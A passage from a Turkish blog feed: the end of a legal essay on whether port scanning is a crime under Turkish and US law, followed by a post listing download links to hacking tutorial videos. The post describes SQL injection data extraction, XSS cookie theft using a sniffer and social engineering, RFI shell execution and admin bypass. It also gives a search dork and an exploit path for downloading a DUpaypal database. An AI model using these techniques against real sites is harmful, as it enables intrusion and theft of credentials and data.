meslek veya kamu hizmetinden yasaklanma düzenlenmiştir.<br /><br />Port tarayıcısı kullanımı yasadaki bu maddelerden herhangi birini ihlal etmekte midir?<br /><br />Yukarıdaki teknik açıklamaların ışığında port tarayıcıları kullanımının ihlal edebileceğini düşündüğümüz TCK 525/a ve 525/b maddelerinde düzenlenen suç tiplerini inceleleyelim:<br /><br />a) TCK 525/a<br /><br />Maddeye göre;<br /><br />Bilgileri otomatik olarak işleme tabi tutmuş bir sistemden,programları,verileri veya diğer herhangi bir unsuru hukuka aykırı olarak ele geçiren kimseye bir yıldan üç yıla kadar hapis ve … liradan … liraya kadar ağır para cezası verilir.<br /><br />Bilgileri otomatik işleme tabi tutmuş bir sistemde yer alan bir programı, verileri veya diğer herhangi bir unsuru başkasına zarar vermek üzere kullanan, nakleden veya çoğaltan kimseye de yukarıdaki fıkrada yazılı ceza verilir.<br /><br />Buna göre bir eylemin bu madde kapsamına girmesi için şu unsurların bulunması gerekir;<br /><br />1. fıkra için;<br /><br />Bilgileri otomatik işleme tabi tutmuş bir sistemin varlığı.<br /><br />Bu sistemden programların, verilerin veya diğer herhangi bir unsurun ele geçirilmesi.<br /><br />Bu ele geçirmenin hukuka aykırı olması<br /><br />2. fıkra için;<br /><br />Bilgileri otomatik işleme tutmuş bir sistemin varlığı.<br /><br />Bu sistemde yer alan programların, verilerin veya diğer herhangi bir unsurun kullanılması, nakledilmesi veya çoğaltılması.<br /><br />Bu kullanma, nakletme veya çoğaltmanın başkasına zarar vermek üzere yapılması.<br /><br />Port tarayıcılarının ana işlevinin bir ağ veya sistem hakkında bilgi toplamak olduğunu belirtmiş ve yukarıda bu programların kullandığı host komutu ile elde edilebilecek bilgilere örnek vermiştik. Bu örnekte komut verildiği an ağda mevcut olan bilgisayarların PC mi yoksa Machintosh mu olduğu, bu bilgisayarların kullandığı işletim sistemlerinin ne olduğu ( Windows, DOS, UNIX vs...) gibi birçok önemli bilgi elde edilmiştir. Burada, yasanın aradığı bilgileri otomatik işleme tabi tutmuş bir sistemin varlığı tartışmasızdır. Açıkça yetki verilmediyse hukuka aykırılık şartı da gerçekleşmiş olacaktır. Peki bu bilgilerin elde edilmesi yasadaki programların, verilerin veya diğer herhangi bir unsurun ele geçirilmesi anlamına gelir mi Burada veriler veya diğer herhangi bir unsur deyimi dikkatle ele alınmalıdır. Kanun koyucu burada hangi verileri kastetmiştir Her somut olayın şartlarına göre kanun koyucunun niyeti ve dolayısıyla madde değişik olarak yorumlanabilir. Mesela sadece işletim sisteminin ne olduğunu belirleyen verilerin elde edilmesinin, genel ve korunması gerekmeyen bir bilgi elde edildiği ileri sürülerek madde kapsamına girmediği iddia edilebilir. Buna karşın sistemdeki paylaşıma açık dosyaların belirlenmesinin korunması gereken bir bilgi olduğu ve bu sebeple bu bilgiyi elde etmenin madde kapsamına girdiği söylenebilir. Kanaatimce pratik hukuk gerekleri ve hukuk güvenliği açısından yetkisiz olarak bir sisteme yapılan her erişimle elde edilen verilerin, niteliklerine bakılmaksızın madde kapsamında değerlendirilmesi gerekir. Bu sebeple port tarayıcı kullanılarak yetkisiz bir erişimle veri veya sistem veya ağ hakkında herhangi bir bilgi elde etmek madde kapsamında değerlendirilmelidir meğer ki bir hukuka uygunluk sebebi bulunsun.<br /><br />Elde edilen bu verilerin başkasına zarar vermek üzere kullanılması, nakledilmesi veya çoğlatılması halinde ise maddenin 2. fıkrası uygulanacaktır. Yalnız elde edilen bu veriler eser niteliğinde ise FSEK’in ilgili maddelerinin uygulanması gerekeceği kanaatindeyiz.<br /><br />b) TCK 525/b<br /><br />Maddeye göre;<br /><br />Başkasına zarar vermek veya kendisine veya başkasına yarar sağlamak maksadıyla,bilgileri otomatik işleme tabi tutmuş bir sistemi veya verileri veya diğer herhangi bir unsuru kısmen veya tamamen tahrip eden veya değiştiren veya silen veya sistemin işlemesine engel olan veya yanlış biçimde işlemesini sağlayan kimseye iki yıldan altı yıla kadar hapis ve ... liradan ... liraya kadar ağır para cezası verilir.<br /><br />Bilgileri otomatik işleme tabi tutmuş bir sistemi kullanarak kendisi veya başkası lehine hukuka aykırı yarar sağlayan kimseye bir yıldan beş yıla kadar hapis ve … liradan ... liraya kadar ağır para cezası verilir.<br /><br />Buna göre bir eylemin bu madde kapsamına girmesi için şu unsurların bulunması gerekir;<br /><br />1. fıkra için;<br /><br />Bilgileri otomatik işleme tabi tutmuş bir sistemin varlığı.<br /><br />Bu sistemi veya verileri veya diğer herhangi bir unsuru kısmen veya tamamen tahrip etme, değiştirme, silme, sistemin işlemesine engel olma, yanlış biçimde işlemesini sağlama.<br /><br />Bu eylemlerin başkasına zarar vermek veya kendisine veya başkasına yarar sağlamak amacıyla yapılması.<br /><br />2. fıkra için;<br /><br />Bilgileri otomatik işleme tabi tutmuş bir sistemin varlığı.<br /><br />Bu sistemi kullanarak kendisi veya başkası lehine yarar sağlama.<br /><br />Bu yarar sağlamanın hukuka aykırı olması.<br /><br />Tek işlevi bilgi toplamak olan ve bunu yaparken sisteme herhangi bir zarar vermeyen, herhangi bir dosyayı, silmeyen, değiştirmeyen Port tarayıcıları bu madde kapsamında değerlendirilmeyecektir. Fakat konunun başında da belirttiğimiz gibi bazı port tarayıcılar bilgi toplama dışında dosyaları değiştirme, silme, sistemin kendi amaçlarına göre çalışmasını sağlama gibi fonksiyonlara sahiptirler. Örneğin Nessus isimli program normal tarayıcı işlevlerinin yanında bir cracker gibi davranış göstererek sistemde bulduğu açıklardan girebilir. Eğer bu tür bir port tarayıcı program ile yasanın aradığı eylemlerin yapıldığı ve bu eylemlerin bir zarar vermek amacıyla yapıldığı tespit edilirse bu eylemler, bu maddenin birinci fıkrası kapsamında değerlendirilebilecektir. Kanımca buradaki başkasına zarar vermek deyiminden anlaşılması gereken bu yönde bir kastın varlığıdır yoksa bu eylem sonucu bir zararın doğmuş olmasını yasa aramamaktadır.<br /><br />Eğer bir port tarayıcıdan elde edilen bilgilerle veya port tarayıcının kendi davranışı sonucu, sistem kullanılarak bir menfaat sağlanırsa maddenin ikinci fıkrası uygulama alanı bulacaktır. Bu fıkrada asıl hedef sistemi kullanarak menfaat sağlamadır. Bu sebeple bu fıkrada port tarayıcıdan elde edilen bilgiler veya onun kendi davranışı, suçun kendisi olarak değil, izlenen yöntem ve kullanılan araç olarak değerlendirilmelidir.<br /><br />C) ABD’den bir örnek<br /><br />ABD’de port tarayıcı kullanımı ?Bilgisayar Dolandırıclığı ve Suiistimali Kanunu kapsamında genel olarak yetkisiz erişim kapsamında değerlendirilmektedir. Federal Ceza Yasası’nın 18 USC Sec. 1030 (a) (5) (B) maddesi bir davada port tarayıcı kullanımına uygulanmıştır. Bu maddeye göre soruşturma yapılabilmesi için temel olarak 6 unsurun kanıtlanması gerekmektedir. Bunlar;<br /><br />Sanık, korumalı bir bilgisayara kasten erişmiş olmalıdır.<br /><br />Sanığın erişimi yetkisiz olmalıdır.<br /><br />Erişimin bir sonucu olarak verilerin, bir sistemin veya bir programın bütünlüğüne veya kullanılabilirliğine zarar verilmiş olmalıdır.<br /><br />Bu zarar en az 5000$?lık ekonomik kayıba sebep olmalıdır veya kamu sağlığını veya güvenliğini tehdit etmelidir.<br /><br />Kasım 2001’de bir ABD federal mahkemesi port tarayıcı kullanımı ile ilgili bir davayı, Federal Ceza Yasası’nın 18 USC Sec. 1030 (a) (5) (B) maddesi kapsamında ele almıştır. Bu davaya göre;<br /><br />Scott Moulton isimli bir ağ güvenlik danışmanı, 911 acil çağrı merkezinin bilgisayar ağının bakımını yapmak ve performansını iyileştirmek için 911 ile bir sözleşme yapmıştır. Scott Moulton 911 merkezinin bilgisayar ağında port tarayıcı kullandıktan sonra ?Bilgisayar Dolandırıcılığı ve Suiistimali Kanunu?nu ihlal ettiği gerekçesiyle tutuklanmıştır. Sanık ifadesinde 911 merkezinin bilgisayar ağının bakımı için 911 tarafından yetkilendirildiğini belirtmiştir. Sanık 911 merkezi ile şerifin ofisi arasında kurulu olan LAN ağındaki zayıflıkları tespit etmek ve portların performansını test etmek için tarayıcı kullanmıştı. Bu sistemin ağ yöneticisi bir ağ analiz yazılımı ve güvenlik duvarı yazılımı kullanıyordu. Bu yazılımların uyarısı ile sistemde bir port tarayıcısının bulunduğunu farketti. Sonra sanığa port taraması yapmasının sebeplerini bir elektronik posta ile sordu. Bunun üzerine sanık şüpheli bir davranışa girdi ve derhal port taramasını durdurdu. Ardından bir elektronik posta göndererek 911 ile arasında bir sözleşme olduğunu ve bu sözleşme gereğince ağ güvenliğini kontrol etmeye yetkili olduğunu belirtti.<br /><br />Bunun üzerine ağ yöneticisi daha sonra sanığı bilgisayar suçundan tutuklayacak olan şerife haber verdi.<br /><br />Sanık yukarıda bahsettiğimiz maddeyi ihlal etmekle suçlandı. 911 merkezi sanığa port taraması için herhangi bir yetki vermediklerini ve sanığın kasten ve yasaya aykırı hareket ettiğini iddia etti. Buna ek olarak sisteme herhangi bir yetkisiz giriş olup olmadığını tespit edebilmek için zaman ve para harcandığını ileri sürdü. Buna karşılık sanığın eylemi ile herhangi bir yapısal zarara uğramadıklarını da belirtti. Bu davada merkezin tezi port tarayıcı kullanımının bizzat kendisinin bir suç teşkil ettiğiydi. Fakat mahkeme bu tezi kabul etmedi.<br /><br />Mahkeme yasanın açıkça, ağın bütünlüğüne veya kullanabilirliğine bir zarar verilmesi gerektiğini belirtti. Mahkemeye göre sanığın eylemi ile ağın kullanılabilirliği hiçbir zaman ortadan kaldırılmamıştı. Eğer port taraması ile ağ gereğinden fazla yüklenerek işlevleri kesintiye uğratılmadıysa bir zararın da söz konusu olmayacağını belirtti. Kısacası mahkemenin bu davada verdiği karar, zarar olmadan bir suçun da söz konusu olmayacağıydı.<br /><br />Hacker crackerların ve aynı zamanda sistem güvenlik uzmanlarının en büyük yardımcıları olan port tarayıcıları bilişim ile ilgili diğer bazı hukuki konular gibi tartışmalara yol açmaktadır. Örneğin sadece virüs kodlarının yazılmış olmasının başlı başına suç teşkil edip etmediğinin tartışılması gibi port tarayıcı kullanımının suç teşkil edip etmediği de tartışılmaktadır. Bunların tartışılmasının en büyük sebebi bu programların doğasında bir tehlike unsuru taşımalarıdır. Tehlike suçlarına ilişkin kanun koyucular kimi düzenlemelere gitmişler ve aslında ortada henüz bir fiil yokken bu fiilin gerçekleştirilmesini kuvvetle muhtemel gösteren sebeplerin varlığının ortaya çıkmasını suç olarak düzenleyip cezalandırmışlardır. Kanaatimce hangi suçların tehlike suçu sayılacağı ve cezalandırılacağı kanun koyucunun görüşlerine, toplum yapısına ve olayların akışına göre değişecektir. Bu sebeple hangi hallerde tehlike suçunun oluşacağına ilişkin kıstaslar vermek zordur.<br /><br />Bilgisayar suçlarının ceza hukuku literatürüne ve yasalara girmesinin üzerinden pek fazla zaman geçmemiştir. Adam öldürme, hırsızlık gibi suçlarda binlerce yıllık hukuki birikim mevcutken bilgisayar suçlarına ilişkin hukuki birikim henüz 20-30 yıllık bile değildir. Üstelik her geçen gün gelişen teknoloji yasaları daha fazla zorlamaktadır. Tüm bunlar ortaya çıkan yeni suç tiplerinin yasalara koyulamamasına veya mevcut yasaların bu suçlara uygulanamamasına ve mahkemelerin sağlıklı kararlara varamamasına veya bu suçların kovuşturulamamasına yol açmaktadır. Bu sebeple teknolojiye göre ağır işleyen yasama, kovuşturma ve yargılama sürecinin yarattığı hukuki boşluk bu tip suçları işlemek isteyenleri cesaretlendirmektedir. Burada izlenebilecek iyi bir yöntem mevcut eylemlerin doğru bir teknik analizini yapmak ve bu analizi yasa maddeleri ile bağdaştırmak olabilir.<br /><br />Sahte elektronik postalar, wormlar, virüsler, DDos atakları, dialer programları gibi yasanın metninde açıkça yer almayan ve yasada belirtilen eylemlere nazaran özel nitelikte bulunan birçok eylem TCK’nun Bilişim Suçları Babında düzenlenen suç kategorilerine sokulabilir. Bunlara daha önceki yazılarımızda değinmiştik. Bunlar gibi yine özellik arzeden port tarayıcıları da TCK kapsamında özellikle de 525/a/f.1 maddesi kapsamında değerlendirilebilecektir. Bu tür bir yoruma itiraz edilebilir. Port tarayıcı kullanımının ancak tehlike suçu olarak kabul edilebileceği ama böyle kabul edilse bile bu tehlike suçunun cezalandırılmasına ilişkin herhangi bir maddenin yasada bulunmadığı, eğer yasa koyucu bu konuyu açıkça düzenlemek isteseydi yasanın bazı yerlerinde açıkça düzenlediği gibi bunu da açıkça düzenleyeceği ileri sürülebilir.<br /><br />Kanımca bu itiraz yerinde değildir. Çünkü bir port tarayıcının ana amacı kontrol edilmek üzere gönderildiği sistem hakkında maksimum bilgiyi toplamaktır. Bu durum kapınızın veya pencerinizin önünde gece gündüz birilerinin dolaşmasına ve büyük bir dikkatle evinizin her ayrıntısını, sizin her hareketinizi takip etmesine benzetilebilir. Bu durum rahatsız verici olmaktan çok konut dokunulmazlığının ve özel hayatın gizliliğinin ihlalidir. Port tarayıcılarının da bundan bir farkı yoktur. Eğer bir sistemin portları yetki verilmediği halde bir port tarayıcı tarafından inceleniyorsa bunun amacının bir suça zemin hazırlamak olduğu aşikardır. Ve bu programlar sadece portlarınıza bakıp gitmezler, sizin sisteminize ait birtakım verileri gerçekten alırlar ve sahiplerine iletirler. Örneğin basit bir tarayıcı telnet portuna bağlanarak sistemden bir cevap bekler ve bu cevabı alınca bunu kaydeder veya Xscan gibi bir tarayıcı bir sistemde zayıflık bulduğu zaman terminalden girilen tüm tuşları kayıt ederek bir dosyada saklar. Böylece önemli şifreler veya kullanıcı adları ele geçirilebilir. Sonuçta bir port tarayıcı taradığı sistemden gerçek anlamda birtakım veriler elde eder. Yasanın veriler veya diğer herhangi bir unsur ifadesi bu eylemin suç sayılmasına imkan vermektedir.<br /><br />Bu tür durumlarda sanıkların bu bilgilerin genel ve herkesin ulaşabileceği bilgiler olduğunu iddia etmelerinin önüne geçmek için yasaya bazı eklemeler yapılabilir. Örneğin ağa bağlı bilgisayarların yapısı, konfigürasyonu, işletim sistemi gibi bilgilerin başkaları tarafından elde edilmesinin gizlilik hakları çerçevesinde yasak olduğunu belirtmek üzere korunmuş veya korunan bir bilgisayar veya sistem gibi bir ibare konulabilir ve bu deyimlerin anlamı yasa metninde açıklanabilir veya madde gerekçesine eklenebilir. Konuyu bitirmeden önce kişisel verilerin korunması hakkında dünyadaki gelişmelere ve ülkemizin ihtiyaçlarına uygun bir yasanın çıkarılması temmenisini de belirtmek istiyorum.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-22108138509295437142010-07-08T16:33:00.000-07:002010-07-08T16:34:33.150-07:00CW Lojistik VideolarıS.A. Arkadaşlar<br /><br />Aşağıdaki Videolar Özel Olarak Lojistik Ekibi Tarafından Hazırlanmıştır.<br /><br />Forum Desteği Görevini Yerine Getiren Bütün Lojistik Üyelerini Tebrik Ediyorum ve Başarılarının Devamını Diliyorum.<br /><br />BG Tarafından Düzenlenen Seminerler İçin Özel Olarak Eğitici (Hack ve Security Üzerine) Videolar Hazırlanmıştır.<br /><br />Chmod Security Admin Bilgisizligi<br />http://rapidshare.com/files/115975077/chmod_security_admin_bilgisizligi.rar.html<br />Cros Site Scripting (Xss) Bulma<br />http://rapidshare.com/files/115976604/cros_site_scripting__xss__bulma.rar.html<br />Local File Inclusion (LFI)<br />http://rapidshare.com/files/115976579/local_file_inclusion.rar.html<br />MD5 Hash Brute Force Exploit Video<br />http://rapidshare.com/files/115977249/md5_hash_brute_force_exploit_video.rar.html<br />Ms Acces Sql Injektion<br />http://rapidshare.com/files/115980304/ms_acces_sql_injektion.rar.html<br />Acunetix Web Vulnerability Scanner İle Sql Injektion<br />http://rapidshare.com/files/115974827/acunetix_web_vulnerability_scanner___304_le_sql_injektion.rar.html<br />Mssql Unclosed Add Meta<br />http://rapidshare.com/files/115979743/mssql_unclosed_add_meta.rar.html<br />Mssql Unclosed Update<br />http://rapidshare.com/files/115980219/mssql_unclosed_update.rar.html<br />Mssql Unclosed Veri Çekme<br />http://rapidshare.com/files/115981552/mssql_unclosed_veri_cekme.rar.html<br />MySql Sql Injektion<br />http://rapidshare.com/files/115981217/mysql_sql_injektion.rar.html<br />Mysql Sql Injektion Kolon Sayısını Öğrenme<br />http://rapidshare.com/files/115983110/mysql_sql_injektion_kolon_sayisini_ogrenme.rar.html<br />Mysql Sql Injektion Mysql Userden Veri Çekme<br />http://rapidshare.com/files/115982532/mysql_sql_injektion_mysql_userden_veri_cekme.rar.html<br />PHP Script’s Sql Injektion<br />http://rapidshare.com/files/115983366/php_script_s_sql_injektion.rar.html<br />Post Method JavaScript Injektion<br />http://rapidshare.com/files/115983928/post_method_javascript_injektion.rar.html<br />Remote File İnclusion (RFİ)<br />http://rapidshare.com/files/115985171/remote_file_inclusion.rar.html<br />Search Engine İle Database Yolu Bulma<br />http://rapidshare.com/files/115985204/search_engine_ile_database_yolu_bulma.rar.html<br />Post Method Html Injektion<br />http://rapidshare.com/files/115983889/post_method_html_injektion.rar.html<br />Post Method Sql Injektion<br />http://rapidshare.com/files/118588418/Post_Method_Sql_Injektion.rar.html<br />FreeWebs.com Session Bug (New Bug)<br />http://rapidshare.com/files/126112677/FreeWebs.com_Session__Bug.rar.html<br />Ms Access SQL Injection Kolon Sayisi Bulma Video Lojistik<br />http://rapidshare.com/files/156149811/Ms_Access_SQL_Injection__Kolon_Sayisi_Bulma.rar.html<br />e107 Plugin Image Gallery SQL Injection<br />http://rapidshare.com/files/152606805/e107_Plugin_Image_Gallery__SQL_Injection.rar.html<br />LKS Windows Veri Tabanı Yedek Alma<br />http://rapidshare.com/files/151381069/LKS_W__304_N_Veri_Taban__305__Yedek_Alma.rar.html<br />LKS Windows Veri Tabanı Geri Yükleme<br />http://rapidshare.com/files/151380903/LKS_W__304_N_Veri_Taban__305__Geri_Yuekleme.rar.html<br />FlashBlog Script (Version beta0.31) Bug Fix Video Lojistik<br />http://rapidshare.com/files/152606691/FlashBlog_Bug_Fix_Video___beta0.31_.rar.html<br />Admin Data Disclosure<br />http://rapidshare.com/files/146250603/Admin_Data_Disclosure.rar.html<br />Config Key Bug |Lojistik| (New Bug)<br />http://rapidshare.com/files/140195502/Config_Key_Bug.rar.html<br />Blind (Kör) Xss<br />http://rapidshare.com/files/146575682/Blind__Kor__Xss.rar.html<br />Remote Admin Access Video Lojistik<br />http://rapidshare.com/files/149067565/Remote_Admin_Access.rar.html<br />Remote Admin Change Password<br />http://rapidshare.com/files/139254987/Remote_Admin_Change_Password.rar.html<br />SQL Injektion Admin Bypass (Video)<br />http://rapidshare.com/files/129064380/SQL_Injektion_Admin_Bypass.rar.html<br />Server Lister Kurulumu Video / Lojistik<br />http://rapidshare.com/files/133015661/Server_Lister_Kurulumu.rar.html<br />Remote File Upload (Video)<br />http://rapidshare.com/files/129871620/Remote_File_Upload.rar.html<br />ASP Access Database Security (Video)<br />http://rapidshare.com/files/128398741/ASP_Access_Database_Security.rar.html<br />Microsoft Source Code Analyzer - Urlscan<br />http://rapidshare.com/files/128113968/Microsoft_Source_Code_Analyzer.rar.html<br />Xssed Videos<br />Script Üzerinde Xss Bulma Manuel Olarak<br />http://rapidshare.com/files/135231245/Script_uezerinde_Xss_Bulma_Manuel_Olarak.rar.html<br />Script Insertion<br />http://rapidshare.com/files/135231145/Script_Insertion.rar.html<br />Web Sitesi Üzerinde Xss Bulma<br />http://rapidshare.com/files/135231243/Web_Sitesi_uezerinde_Xss_Bulma.rar.html<br />Xss Html Injektion<br />http://rapidshare.com/files/135234443/Xss_Html_Injektion.rar.html<br />Xss Sniffer Kurulumu<br />http://rapidshare.com/files/135234780/Xss_Sniffer_Kurulumu.rar.html<br />Xss Cookie Login<br />http://rapidshare.com/files/135234622/Xss_Cookie_Login.rar.html<br />Xss Fixleme For (ASP) - (PHP)<br />http://rapidshare.com/files/135498886/Xss_Fixleme_For__ASP__-__PHP_.rar.html<br />http://rapidshare.com/files/177020617/XSRF2.rar.html XSRF video<br />http://rapidshare.com/files/177044919/1.avi.zip.html FreeBSD Server Video1 bolüm<br />http://rapidshare.com/files/177050777/2.avi.zip.html FreeBSD server video2 bölüm<br />http://rapidshare.de/files/41132445/linux.zip.html Linux Port acıklari<br />http://rapidshare.com/files/177209289/AdultWatch_Xsrf.rar XSRF AdultWatch<br />http://rs68.rapidshare.com/files/174641276/PDF.rar<br />http://rapidshare.com/files/177502707/linuxguevenligi.txt.html Linux guvenligi txt<br /><br />Exploit + Video<br /><br />http://rapidshare.com/files/107622585/md5_hash_brute_force_exploit_video.rar.html<br /><br />Chmod Security Admin Bilgisizligi<br /><br />Video Boyutu:3.87 MB<br /><br />Açıklama:<br /><br />Attacker Tarafından Ulaşıldığında Tehlike Oluşturabilecek<br /><br />Dosyalara Chmod Değeri Verilmemesinden Kaynaklanan Güvensizlik.<br /><br />http://rapidshare.com/files/115975077/chmod_security_admin_bilgisizligi.rar.html<br /><br />Cros Site Scripting (Xss) Bulma<br /><br />Video Boyutu:12,5 MB<br /><br />Açıklama:<br /><br />Web Sitesi Üzerinde Xss Olabilecek Yerler.Ve Xss Bulunması.<br /><br />http://rapidshare.com/files/115976604/cros_site_scripting__xss__bulma.rar.html<br /><br />Local File Inclusion (LFI)<br /><br />Video Boyutu:5,50 MB<br /><br />Açıklama:<br /><br />Php Tabanlı Sitelerde Veriable Eksikliğinden Kaynaklanan Güvensizlik.<br /><br />Ve Örnek Bir Dosya Okuma.<br /><br />http://rapidshare.com/files/115976579/local_file_inclusion.rar.html<br /><br />MD5 Hash Brute Force Exploit Video<br /><br />Video Boyutu:2,81 MB<br /><br />Açıklama:<br /><br />Perl Dili İle Yazılmış Exploiti Pc’de Active Perl Aracığıyla<br /><br />Derleyip Kullanarak Brute Force Tekniğiyle MD5 Hashları Kırma.<br /><br />http://rapidshare.com/files/115977249/md5_hash_brute_force_exploit_video.rar.html<br /><br />Ms Acces Sql Injektion<br /><br />Video Boyutu:24,3 MB<br /><br />Açıklama:<br /><br />Ms Acces Veri Tabanını Kullanan Sitelerde Hatalar Doğrultusunda<br /><br />İlerleyerek Union İle Veri Çekme.<br /><br />http://rapidshare.com/files/115980304/ms_acces_sql_injektion.rar.html<br /><br />Acunetix Web Vulnerability Scanner İle Sql Injektion<br /><br />Video Boyutu:6,79 MB<br /><br />Açıklama:<br /><br />Acunetix Web Vulnerability Scanner İle Hedef Siteyi Taratıp<br /><br />Bulunan İd Değerinde Sql Bulup Admine Ulaşmak.<br /><br />http://rapidshare.com/files/115974827/acunetix_web_vulnerability_scanner___304_le_sql_injektion.rar.html<br /><br />Mssql Unclosed Add Meta<br /><br />Video Boyutu:10,1 MB<br /><br />Açıklama:<br /><br />MsSql Server Veri Tabanlı Sitelerde Hatalar Doğrultusunda<br /><br />Tablo Adına Ulaşıp Update Komutu İle Yönlendirme.<br /><br />http://rapidshare.com/files/115979743/mssql_unclosed_add_meta.rar.html<br /><br />Mssql Unclosed Update<br /><br />Video Boyutu:936 KB<br /><br />Açıklama:<br /><br />MsSql Server Veri Tabanlı Sitelerde Hatalar Doğrultusunda<br /><br />Tablo Adına Ulaşıp Update Komutu İle Tabloya Veri Yazma<br /><br />http://rapidshare.com/files/115980219/mssql_unclosed_update.rar.html<br /><br />Mssql Unclosed Veri Çekme<br /><br />Video Boyutu:10,2 MB<br /><br />Açıklama:<br /><br />MsSql Server Veri Tabanlı Sitelerde ExploitSql Adlı Program İle<br /><br />Admin Ve Hashını Çekmek.<br /><br />http://rapidshare.com/files/115981552/mssql_unclosed_veri_cekme.rar.html<br /><br />MySql Sql Injektion<br /><br />Video Boyutu:2,57 MB<br /><br />Açıklama:<br /><br />Mysql Veri Tabanını Kullanan Sitelerde Hatalar Doğrultusunda İlerleyerek<br /><br />Union Sorgusu İle Veri Çekmek.<br /><br />http://rapidshare.com/files/115981217/mysql_sql_injektion.rar.html<br /><br />Mysql Sql Injektion Kolon Sayısını Öğrenme<br /><br />Video Boyutu:1,56 MB<br /><br />Açıklama:<br /><br />Mysql Veri Tabanlı Sitelerde Order by Komutuyla Kolon Sayısını<br /><br />Öğrenme.<br /><br />http://rapidshare.com/files/115983110/mysql_sql_injektion_kolon_sayisini_ogrenme.rar.html<br /><br />Mysql Sql Injektion Mysql Userden Veri Çekme<br /><br />Video Boyutu:5,97 MB<br /><br />Açıklama:<br /><br />Mysql Veri Tabanlı Sitelerde mysql.user’den Veri Çekmek.<br /><br />http://rapidshare.com/files/115982532/mysql_sql_injektion_mysql_userden_veri_cekme.rar.html<br /><br />PHP Script’s Sql Injektion<br /><br />Video Boyutu:3,68 MB<br /><br />Açıklama:<br /><br />Hedef Sitenin Kullandığı Scripti İndirip İnceliyerek<br /><br />Sql Bug Bulup Exploit İle Siteye Login Olma.<br /><br />http://rapidshare.com/files/115983366/php_script_s_sql_injektion.rar.html<br /><br />Post Method Html Injektion<br /><br />Video Boyutu:1,91 MB<br /><br />Açıklama:<br /><br />Post Methodu Kullanılmış Olan Sitede Html Code Çalıştma.<br /><br />http://rapidshare.com/files/115983889/post_method_html_injektion.rar.html<br /><br />Post Method JavaScript Injektion<br /><br />Video Boyutu:1,51 MB<br /><br />Açıklama:<br /><br />Post Methodu Kullanılmış Olan Sitede Js Code Çalıştma.<br /><br />http://rapidshare.com/files/115983928/post_method_javascript_injektion.rar.html<br /><br />Remote File İnclusion (RFİ)<br /><br />Video Boyutu:6,74 MB<br /><br />Açıklama:<br /><br />Web Sitesi Üzerinde Remote File Inclusion (RFİ)<br /><br />Bulup Shell Çalıştırma.<br /><br />http://rapidshare.com/files/115985171/remote_file_inclusion.rar.html<br /><br />Search Engine İle Database Yolu Bulma<br /><br />Video Boyutu:4,03 MB<br /><br />Açıklama:<br /><br />Arama Motorları (Search Engine’s) Yoluyla Web Sitesinde<br /><br />DB’ye Ulaşma.<br /><br />http://rapidshare.com/files/115985204/search_engine_ile_database_yolu_bulma.rar.html<br /><br />FreeWebs.com Session Bug (Video)<br /><br />http://rapidshare.com/files/126112677/FreeWebs.com_Session__Bug.rar.html<br /><br />Config Key Bug<br /><br />http://rapidshare.com/files/140195502/Config_Key_Bug.rar.html<br /><br />Remote Admin Change Password<br /><br />http://rapidshare.com/files/139254987/Remote_Admin_Change_Password.rar.html<br /><br />Web Güvenlik Döküman<br /><br />http://rapidshare.com/files/157136270/Untitled-1.html<br /><br />Whois , RFI Tarama Video<br /><br />http://rapidshare.com/files/157174087/video.rar.html<br /><br />Script Üzerinde Xss Olabilecek Yerleri Manuel(El İle) Araştırarak Xss Bulma.<br /><br />http://rapidshare.com/files/135231245/Script_uezerinde_Xss_Bulma_Manuel_Olarak.rar.html<br /><br />Post Geçilebilecek Yerlere Js Kodu Enjekte Edilmesi.<br /><br />http://rapidshare.com/files/135231145/Script_Insertion.rar.html<br /><br />Web Sitesi Üzerinde Xss Bulma<br /><br />http://rapidshare.com/files/135231243/Web_Sitesi_uezerinde_Xss_Bulma.rar.html<br /><br />Xss Sniffer Kurulumu<br /><br />Xss Bulduğumuz Web Sitesi Mail Serveri V.s Xss Açığını Değerlendirip Cookie Çekmek İçin Kodlanan Scriptin Hotsumuza Kurulumu.<br /><br />Download Video<br /><br />http://rapidshare.com/files/135234780/Xss_Sniffer_Kurulumu.rar.html<br /><br />Xss Cookie Login<br /><br />Önceden Kurup Hazırladığımız XssSnifferi Hedefe S.M(Sosyal Mühendislik) Aracığıyla<br /><br />Yedirip Gelen Cookieyi Opera Browser İle Editleyip Hedefte Login Olma.<br /><br />Download Video<br /><br />http://rapidshare.com/files/135234622/Xss_Cookie_Login.rar.html<br /><br />Xss Fixleme For (ASP) - (PHP)<br /><br />Xss Açığı Oluşturup Açığı Tekrar Kapatma.<br /><br />Download Video<br /><br />http://rapidshare.com/files/135498886/Xss_Fixleme_For__ASP__-__PHP_.rar.html<br /><br />FlashBlog Script (Version beta0.31) Bug Fix<br /><br />http://rapidshare.com/files/152606691/FlashBlog_Bug_Fix_Video___beta0.31_.rar.html<br /><br />Ms Access SQL Injection Kolon Sayisi Bulma<br /><br />http://rapidshare.com/files/156149811/Ms_Access_SQL_Injection__Kolon_Sayisi_Bulma.rar.html<br /><br />Sql Tablo sayısını öğrenme üzerine çektiğim bir video;<br /><br />http://rapidshare.com/files/179610157/Sql_tablo_say__305_s__305_n__305__oe__287_renme.rar.html<br /><br />Cookie Manipulation<br /><br />Cookie Bilgilerini Değiştirerek Sunucuda Bir Başkası Gibi Davranmak.<br /><br />2. Videomuz<br /><br />Xss Bulma (Get)<br /><br />Get Fonksiyonun Filtrelenmemesinden Dolayı Oluşan Xss Açığı.<br /><br />3. Videomuz<br /><br />Html Special Chars İle XSS Fixleme<br /><br />Html Special Chars (Html Özel Temizleme Kodları) İle Xss Açığını Fixleme<br /><br />4. Videomuz<br /><br />Xss - Form İlişkisi<br /><br />Form Aracılığıyla Post Edilen Zararlı Kodların;<br /><br />Sniffere Dökülmesi<br /><br />Xssed.com Xss Mirror Sitesine Gönderilmesi İçin Sağlanan Kolaylık.<br /><br /><br />RapidShare<br /><br />DepositFiles<br /><br />Clickjacking Video -Hazırlayan XoX<br /><br />Download Video 1 - Download Video 2<br /><br />Java Script Engellini Aşarak<br /><br />Sunucuya Dosya Upload Etme.<br /><br />Java Script Engelini Aşarak(File Upload)<br /><br />Etkinen Script:DUpaypal<br /><br />Dork:intitle:DUpaypal inurl:.asp?<br /><br />Exploit:www.target.com/scriptpath/_private/dupaypal.mdb<br /><br />Not:Dosya Kontrolu JS İle Yapılan Çoğu Scripte Engelli Bu Yöntemle Aşabilirsiniz.<br /><br />Download RapidShare<br /><br />Download Depositfiles<br /><br />SQL PHPMYADMİN’DEN HAS BULMA<br /><br 